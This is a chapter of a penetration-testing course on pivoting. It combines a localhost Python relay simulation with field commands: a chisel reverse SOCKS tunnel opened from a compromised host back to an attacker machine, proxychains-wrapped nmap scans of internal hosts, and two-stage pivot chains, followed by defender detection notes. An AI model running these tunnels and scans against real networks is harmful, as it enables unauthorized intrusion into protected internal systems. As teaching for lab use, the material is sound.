Step 264. Pivoting, Deepened — Through the Compromised Machine into the Internal Network
Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: Step 163 (SSH tunneling and port forwarding). You know the SOCKS concept from Step 162 (proxies and anonymization) and the inbound/outbound distinction from Step 161 (firewalls).
- What you need: Python 3 (for measuring the principle), (optional) a dual-network lab — 2 VirtualBox VMs (relay host: 2 NICs; internal target: 1 internal-only NIC), 1 Kali.
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. HackTheBox (HTB) is a legal platform with permission built in for exactly this kind of training — attempting pivoting on real networks outside it is intrusion.
- Verification note: This chapter’s Python 3-stage chain output was measured 2026-09-09 on localhost. The chisel, proxychains, and nmap screens require a lab setup and are shown as output examples.
In Step 163 you dug one tunnel. Real penetration tests don’t end with one tunnel — you take over the externally visible web server, and beyond it lies an internal network that the outside can never reach. Pivoting is the technique of making the compromised machine a stronghold (a pivot) and pouring your attack tools’ traffic through it. Today you prove the "unreachable except via relay" structure yourself with Python on localhost, then transfer it to the field-standard chisel + proxychains combination.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain with a diagram why pivoting is needed in a dual-network structure (an internal network inside the DMZ)
- Reproduce the "reachable only via relay" structure with two layers of Python forwarders and interpret the logs
- Explain which Step 163 option chisel’s reverse SOCKS tunnel (
R:socks) corresponds to - Ride arbitrary tools like nmap through the tunnel with proxychains, knowing the constraint that only
-sTworks - Point out a pivot’s traces from the defender’s view (new processes, unfamiliar outbound connections)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 (principle measurement) + Kali (field combination) + dual-network lab VMs |
| Today’s commands | chisel server -p 9000 --reverse, chisel client KALI_IP:9000 R:socks, proxychains nmap -sT internalIP |
| Concepts needed | The 3 directions of port forwarding (Step 163), SOCKS proxies (Step 162), DMZ/internal separation, reverse connections |
| Today’s deliverable | Measured 3-stage chain logs + one pivot structure diagram + a tool-combination procedure sheet |
2-1. Real Networks Are Layered — The Dual-Network Structure
A well-designed corporate network is not a single wall. The DMZ (web servers, mail gateways) that the outside touches and the internal network where employee PCs, DBs, and domain controllers live are separated, with a firewall between them.
Say an attacker has taken over the DMZ’s web server. At that moment the attacker’s field of view changes — that machine has two NICs, one facing outside and one facing the internal network. The 10.10.20.0/24 range that never showed up in external scans appears on the compromised machine with a single ip a.
The problem is that "visible" and "reachable" differ. Only the relay host can send packets into the internal network, and everything on your Kali — nmap, crackers, exploits — sits outside the relay. Bridging this gap is pivoting.
2-2. The Essence of a Pivot — Putting Step 163’s Tunnel on Top of the Stronghold
Remember what you learned in Step 163. Port forwarding’s essence is socket relaying, and SSH was just that relay with authentication and encryption layered on.
Pivoting runs the same relay on the compromised machine. Raise a relay program (agent) on the relay host, and a request sent from your Kali — "knock on 445 of 10.10.20.15 for me" — passes through the relay and out into the internal network. From the internal server’s standpoint, this connection’s origin is not the attacker but the relay host — so it looks like normal in-house traffic under internal firewall policy.
In this structure the relay host is called the pivot — because you move the attack’s axis from outside onto the relay and rotate around that point to look at the interior.
2-3. chisel — The Modern Standard for Reverse Tunnels
Pivoting works over SSH too, but the tool used more often in the field is chisel. A single binary is both server and client, and since it lays its tunnel over HTTP, it passes well even in environments where only 443 is open.
The core combination is reverse SOCKS.
[Kali] chisel server -p 9000 --reverse ← opens the door and waits
[Relay host] chisel client KALI_IP:9000 R:socks ← the relay opens the tunnel via an 'outgoing' connection
The R in R:socks is the same letter as Step 163’s -R — the door (listening socket) is created on the opposite side (Kali). Once this one line completes, a SOCKS5 proxy opens on Kali’s port 1080, and its exit is the relay host’s internal-network-facing NIC.
Connect "why reverse?" to Step 161. Connections coming into the internal network are blocked by the firewall, but connections the relay host makes going out are usually allowed. So the door-opening side (Kali) waits, and the compromised machine reaches out first to shake hands.
2-4. proxychains and Its Constraints — Not Every Tool Can Ride the Tunnel
With the tunnel open, you put tools on it. Write socks5 127.0.0.1 1080 at the end of /etc/proxychains4.conf, and every TCP connection of a program wrapped in proxychains <command> enters the tunnel.
There are two constraints you must know here.
- nmap works only with
-sT(connect scan). The default SYN scan (-sS) crafts packets directly via raw sockets, and that can’t be caught by proxychains’ approach of intercepting an application’s TCP calls. Inside SOCKS, only connect scans, which perform a full TCP handshake, get through. - ICMP (ping) doesn’t pass at all. SOCKS carries TCP (and some UDP depending on implementation) only. If a
-snping sweep fails silently, this is why.
So scanning through a tunnel is slow and limited. Knowing this frustration is normal saves you wasted flailing of "is the tool broken?"
3. Follow Along
3-0. Today’s Practice Structure — Folding Layered Networks onto localhost
Even without lab VMs you can prove the pivot’s core property ("reachable only via relay"). Split the roles by port.
Attacker (you) ──direct──> 127.0.0.1:18080 (internal server) → 403 denied
Attacker (you) ──> 127.0.0.1:19000 (compromised edge machine) ──> internal server → 200 success
The condition "can’t reach the internal network" is simulated by having the internal server reject with 403 any request lacking a secret header (X-Edge-Key). Only the edge machine (the forwarder) knows this header and attaches it while relaying — the same structure as the field, where "internal-network reachability" lives only on the relay.
3-1. Measurement — The 3-Stage Chain Pivot Model
Save the file below as pivot_chain264.py. One script plays all three roles: internal server, edge machine (forwarder), and attacker.
"""Pivoting 3-stage chain simulation — the interior is reachable only via the relay."""
import http.server
import socket
import threading
import urllib.request
import urllib.error
INTERNAL_HOST, INTERNAL_PORT = "127.0.0.1", 18080
PIVOT_HOST, PIVOT_PORT = "127.0.0.1", 19000
EDGE_KEY = "dmz-edge-9f3c" # internal-network reach credential (simulated). Only the edge machine knows it.
class InternalHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.headers.get("X-Edge-Key") == EDGE_KEY:
body = b"<h1>internal DB admin page - TOP SECRET</h1>"
self.send_response(200)
else:
body = b"403 Forbidden - internal network only"
self.send_response(403)
self.send_header("Content-Type", "text/html")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
pass
def relay(src, dst, tag):
try:
while True:
data = src.recv(4096)
if not data:
break
print(f"[pivot log] {tag} relayed {len(data)} bytes")
dst.sendall(data)
except OSError:
pass
finally:
try:
src.shutdown(socket.SHUT_RDWR)
dst.shutdown(socket.SHUT_RDWR)
except OSError:
pass
src.close(); dst.close()
def inject_and_relay(client, upstream):
"""attacker->internal direction: insert the X-Edge-Key header after the request's first line."""
data = client.recv(4096)
if not data:
client.close(); upstream.close(); return
if b"rn" in data:
head, rest = data.split(b"rn", 1)
data = head + b"rnX-Edge-Key: " + EDGE_KEY.encode() + b"rn" + rest
print(f"[pivot log] attacker->internal relayed {len(data)} bytes (X-Edge-Key injected)")
upstream.sendall(data)
relay(client, upstream, "attacker->internal")
def pivot_server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((PIVOT_HOST, PIVOT_PORT))
srv.listen(5)
print(f"[pivot up] edge machine {PIVOT_HOST}:{PIVOT_PORT} -> internal {INTERNAL_HOST}:{INTERNAL_PORT}")
while True:
client, addr = srv.accept()
print(f"[pivot log] accepted attacker connection {addr[0]}:{addr[1]}")
upstream = socket.create_connection((INTERNAL_HOST, INTERNAL_PORT))
threading.Thread(target=inject_and_relay, args=(client, upstream), daemon=True).start()
threading.Thread(target=relay, args=(upstream, client, "internal->attacker"), daemon=True).start()
def request(url, label):
print(f"n=== {label}: GET {url} ===")
try:
with urllib.request.urlopen(url, timeout=5) as r:
print(f"HTTP {r.status}")
print(r.read().decode())
except urllib.error.HTTPError as e:
print(f"HTTP {e.code}")
print(e.read().decode())
def main():
internal = http.server.HTTPServer((INTERNAL_HOST, INTERNAL_PORT), InternalHandler)
threading.Thread(target=internal.serve_forever, daemon=True).start()
print(f"[internal server up] {INTERNAL_HOST}:{INTERNAL_PORT} (403 without X-Edge-Key)")
threading.Thread(target=pivot_server, daemon=True).start()
import time
time.sleep(0.5)
request(f"http://{INTERNAL_HOST}:{INTERNAL_PORT}/", "direct access (no pivot)")
request(f"http://{PIVOT_HOST}:{PIVOT_PORT}/", "via pivot (through compromised machine)")
internal.shutdown()
print("n[done] measurement complete")
if __name__ == "__main__":
main()
Input:
python -u pivot_chain264.py
Output (measured 2026-09-09):
[internal server up] 127.0.0.1:18080 (403 without X-Edge-Key)
[pivot up] edge machine 127.0.0.1:19000 -> internal 127.0.0.1:18080
=== direct access (no pivot): GET http://127.0.0.1:18080/ ===
HTTP 403
403 Forbidden - internal network only
=== via pivot (through compromised machine): GET http://127.0.0.1:19000/ ===
[pivot log] accepted attacker connection 127.0.0.1:61933
[pivot log] attacker->internal relayed 146 bytes (X-Edge-Key injected)
[pivot log] internal->attacker relayed 138 bytes
[pivot log] internal->attacker relayed 44 bytes
HTTP 200
<h1>internal DB admin page - TOP SECRET</h1>
[done] measurement complete
How to read it: The same internal page produced two results. Knock directly and you get 403 Forbidden - internal network only; go through the pivot (19000) and you get 200 and the secret page. The only thing that made the difference is the edge machine — the log’s three lines "accepted attacker connection → attacker->internal relay → internal->attacker relay" are the whole of a pivot. Remember Step 163’s forwarder? What you just ran is that relay loop plus "a credential only the relay knows," and that is pivoting’s exact structure.
3-2. Transferring to the Field Combination — chisel Reverse SOCKS
Map the structure caught in the model onto field tools. If you have a lab, follow along; if not, read the structure through the output examples.
Input (Kali — the side that opens the door):
chisel server -p 9000 --reverse
Input (the compromised relay — the side that goes out):
./chisel client 10.10.14.8:9000 R:socks
Output example (Kali side):
2026/09/09 14:03:11 server: Reverse tunnelling enabled
2026/09/09 14:03:11 server: Fingerprint XXXX...
2026/09/09 14:03:11 server: Listening on http://0.0.0.0:9000
2026/09/09 14:03:25 server: session#1: Client version (1.9.1) differs from server version (1.10.1)
2026/09/09 14:03:25 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
How to read it: The last line is the key — a SOCKS door opened on Kali’s 127.0.0.1:1080, and its exit is beyond the relay. Note the direction of the connection. Kali waited (Listening), and the relay went out and grabbed it (session#1) — the same role as "the relay creates the connection inward" in the 3-1 model, and the same reverse structure as Step 163’s -R.
3-3. Putting Tools on the Tunnel — proxychains
Check/edit the last line of /etc/proxychains4.conf.
tail -1 /etc/proxychains4.conf
# socks5 127.0.0.1 1080
Now any TCP tool rides the tunnel.
Input:
proxychains nmap -sT -Pn 10.10.20.15
Output example:
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94 ( https://nmap.org )
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.20.15:445 ... OK
Nmap scan report for 10.10.20.15
PORT STATE SERVICE
445/tcp open microsoft-ds
3306/tcp open mysql
How to read it: The Strict chain ... OK line shows each connection passed through the SOCKS chain. You can see open ports on 10.10.20.15, which your Kali cannot reach directly — the scan’s starting point moved to the relay. Remember why -Pn is attached: since ping can’t ride SOCKS, host-discovery is skipped.
3-4. Two-Stage Pivots — An Internal Inside the Internal
In deep networks, pivots chain. You take the internal server beyond the first relay, and beyond that lies yet another isolated range (say, an OT network, 10.20.30.0/24).
The method is repeating the same job — put chisel on the second compromised machine too, run R:socks through the first tunnel, and stack the SOCKSes. Add socks5 127.0.0.1 1081 below socks5 127.0.0.1 1080 in the proxychains config, and connections flow Kali → relay1 → relay2 → final destination.
How to read it: Recall the 3-1 model and stacking comes naturally — raise one more forwarder and point the second forwarder’s destination at the first forwarder’s entrance. That said, every added hop grows delay and instability. "Possible" and "practical" differ; real-world pivots usually cap out at 2–3 hops.
3-5. The Defender’s Eye — How Does a Pivot Look?
The tunnel’s contents are encrypted and invisible, but the pivot itself leaves traces.
On the relay host, an unfamiliar process (chisel.exe, ligolo, etc.) appears, and an unfamiliar outbound connection is born (an internal server holding a standing connection to an external IP’s 443). From the network’s viewpoint, abnormal behavior shows — "the web server is scanning the entire internal DB range": a normal web server doesn’t attempt connects across all of 10.10.20.0/24.
Here’s why Step 161’s firewall lesson said "restrict connections going out of servers too." Narrow a DMZ server’s outbound destinations to only what’s needed, and even if it’s compromised, no pivot can form — guarding the door matters, and so does narrowing the corridor behind it.
4. Missions & Exercises
Mission — Proving and Designing the Pivot Structure
- Run the 3-1 script and capture the contrast "direct access 403 / via pivot 200" and the pivot logs (connection accepted + bidirectional relay).
- Change the
EDGE_KEYvalue in the script, run it again, and confirm the results reproduce identically — think about whether "the credential living only on the relay" comes from the structure. - Draw the structure diagram: Kali → (chisel reverse SOCKS) → relay host (DMZ + internal NIC) → internal target. Annotate each segment with its protocol and direction (who connects first).
- (If you have a lab) Keep the result of a
-sTscan of the internal target via chisel + proxychains. (If you don’t) Explain in 3–5 lines why the two constraints in 2-4 exist.
Exercises
Q1. In pivoting, who does the internal server see as the connection’s origin? How does this connect to the principle of bypassing internal firewall policy?
Q2. Explain the meaning of R in chisel client KALI_IP:9000 R:socks, comparing it to Step 163’s -R. Why does reverse (the -R family) fit pivoting well?
Q3. Explain why only -sT, not -sS (SYN scan), must be used with nmap under proxychains, in terms of the difference between raw sockets and how proxychains works.
Q4. In the 3-1 measurement, direct access was 403. In a real lab, what is the corresponding scene (the reason direct access is impossible), and how does that impossibility dissolve after the pivot?
5. Model Answers & Completion Criteria
Mission Model Answer
#1: The core of a success record is three scenes — "direct access: HTTP 403", "via pivot: HTTP 200 + TOP SECRET page", and the log’s order "connection accepted → attacker->internal relay → internal->attacker relay". This order was confirmed in the 2026-09-09 measurement (byte counts may vary slightly per run).
#2: The result is the same even with a different key. What matters is not the key’s value but the structure that only the relay knows the key. The attacker code has no key; only the pivot code does — just as "internal-network routability" lives only on the relay in the field.
#3 Correct skeleton of the diagram: Kali (chisel server, waiting on 9000) <──relay connects first── relay ──internal net──> internal target. Note that the two arrows point opposite ways — tunnel establishment flows relay→Kali (outbound), while data requests flow Kali→internal target.
#4 (without a lab): A SYN scan crafts raw packets directly without going through the OS’s TCP stack, so proxychains — which intercepts an application’s TCP calls and hands them to SOCKS — cannot catch them. ICMP is outside SOCKS’s coverage (TCP) to begin with, so it can’t ride the tunnel.
How to verify: ① Was the 403/200 contrast captured? ② Does the structure diagram distinguish "connection-establishment direction" from "data direction"? ③ Are the -sT/ICMP constraints explained by operating principle rather than tool defects?
Exercise Answers
A1. The relay host. Every pivoted connection is a new connection made by the relay program on the relay host, so the internal server’s logs show the relay’s internal IP. If the internal firewall’s policy is "traffic from in-house ranges is allowed," attack traffic appears as policy-normal traffic — that’s what makes pivoting frightening, and why the very design "internal trusts internal" becomes a risk.
A2. R means the door (listening socket) is created on the opposite side — same as Step 163’s -R. In this case the door opens on Kali’s 1080 (SOCKS), and the relay is the side that goes out and makes the connection. Reverse fits because of firewall asymmetry — incoming connections are blocked but outgoing ones are often allowed, so the shape "the compromised machine reaches its hand out" forms most easily.
A3. proxychains intercepts the TCP connections (connect calls) a program requests from the OS and connects via the SOCKS server instead. But the -sS SYN scan doesn’t use that normal call — it assembles SYN packets directly via raw sockets. With no "call" to intercept, the traffic doesn’t get loaded onto the tunnel and exits locally. -sT uses normal connect calls, so the interception works.
A4. The field equivalent of 403 is unroutability/firewall denial — the internal range (10.10.20.0/24) has no route from the internet, and the firewall between the DMZ and the internal network denies direct access from outside. After the pivot, the connection’s origin moves to the relay and that denial disappears — just as 200 appeared once the header was injected in 3-1, because "the credential only the relay holds" rides along on the connection.
Completion Criteria Checklist
- [ ] Can explain with a diagram why pivoting is needed in a dual network
- [ ] Ran the 3-1 script and secured the 403/200 contrast and relay logs
- [ ] Know that after a pivot, the origin in the internal server’s logs is the relay
- [ ] Can explain that chisel’s
R:socksis reverse, and why it must be reverse - [ ] Know why
-sTand-Pnare needed with proxychains + nmap - [ ] Can explain the structure of a two-stage pivot (chain stacking) and the cost of added hops
- [ ] Can state at least two defensive points against pivots (outbound restriction, abnormal-scan detection)
6. Common Pitfalls & Fixes
Wall 1. Direct access gives 403 — "is the internal server broken?"
Symptom (measured 2026-09-09):
=== direct access (no pivot): GET http://127.0.0.1:18080/ ===
HTTP 403
403 Forbidden - internal network only
Cause: Not a failure — by design. The internal server is built to reject requests lacking the relay’s mark — the field equivalent of "unroutable/firewall-denied."
Fix: Confirm that 403 is the correct behavior, then access through the forwarder (19000). The 403-vs-200 contrast itself is today’s proof.
Wall 2. "The chisel client can’t connect"
Symptom (output example):
client: Connection error: websocket: bad handshake
or
client: Failed to connect to 10.10.14.8:9000: dial tcp ... connect: connection refused
Cause: The order is flipped or it’s a firewall issue. Kali’s chisel server must be up first, and without the --reverse option, R:-family requests get rejected. "refused" means Kali’s 9000 isn’t open (same interpretation as Step 163, Wall 1).
Fix: Start the server first with --reverse, and check that Kali’s firewall allows inbound 9000. Testing reachability from the relay with curl http://KALI_IP:9000 first splits the cause.
Wall 3. "nmap under proxychains says everything is closed"
Symptom (output example):
Nmap scan report for 10.10.20.15
All 1000 scanned ports on 10.10.20.15 are in ignored states.
Cause: Two main ones. ① You scanned with -sS — SYN packets don’t ride the tunnel and leak out locally. ② Ping host-discovery judged the host dead — ICMP can’t ride SOCKS.
Fix: Fix the form as proxychains nmap -sT -Pn target. -Pn turns off ping judgment; -sT uses connect scans only. Slowness is normal.
Wall 4. "It says the socks port is already in use"
Symptom (output example):
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
...
Error listening on 127.0.0.1:1080: listen tcp 127.0.0.1:1080: bind: address already in use
Cause: A previously raised tunnel (or ssh -D) is holding 1080. Often a leftover trace from Step 163 practice.
Fix: Find and kill the occupying process with ss -lntp | grep 1080 (or sudo lsof -i :1080), or open this tunnel on a different port like R:1081:socks and update the proxychains config to match. When doing two-stage pivots, build the habit of assigning non-overlapping ports.
Wall 5. "The tunnel is alive but the tool shows local results"
Symptom: You think you wrapped it in proxychains, but the scan results talk about your local range, not the internal network.
Cause: You dropped the proxychains prefix, or mistyped the target address and scanned your local host. proxychains applies only to the process it’s prefixed onto — the whole terminal does not enter the tunnel.
Fix: Check the proxychains at the front of the command, and verify passage every time by whether a Strict chain ... OK line prints. Without that line, it didn’t ride the tunnel.
7. Summary
Today’s Concepts
| Concept | One-line description |
|---|---|
| Pivoting | The technique of using a compromised machine as a stronghold to move into the network beyond |
| Dual network | The field-shaped structure where DMZ and internal network are separated by a firewall |
| Relay host (pivot host) | The compromised machine straddling two networks — the pivot’s axis of rotation |
| chisel | The modern standard tool that builds a tunnel over HTTP from a single binary |
R:socks |
chisel’s reverse tunnel that opens a SOCKS door on the opposite side (Kali) |
| proxychains | A wrapper that intercepts a program’s TCP connect and sends it through SOCKS |
| Two-stage pivot | A chain that stacks tunnel inside tunnel to reach deeper networks |
Today’s Commands
| Command | What it does |
|---|---|
chisel server -p 9000 --reverse |
Open the door on Kali and wait for the relay’s connection |
./chisel client KALI_IP:9000 R:socks |
Open the SOCKS tunnel via the relay’s outgoing connection |
tail -1 /etc/proxychains4.conf |
Check the SOCKS address (socks5 127.0.0.1 1080) |
proxychains nmap -sT -Pn 10.10.20.15 |
Internal scan via the tunnel (connect only) |
ss -lntp | grep 1080 |
Check SOCKS port occupancy |
python -u pivot_chain264.py |
Run the pivot-structure principle model |
The Instinct That Matters More Than Commands
What today’s measurement showed is simple. The same page was 403 when reached directly and 200 via the relay — the difference was not the content but the connection’s starting point. Every pivoting tool (chisel, ligolo, ssh -D) is ultimately a machine that moves that starting point.
And the reverse asymmetry learned in Step 163 worked again today — the firewall blocks the incoming hand but permits the outgoing one, and the attack rides the permitted direction. If you’re the defender, flip this sentence: "outbound connections get their destinations narrowed too" is the first policy that cuts pivots.
Once every box is checked, Step 264 is complete.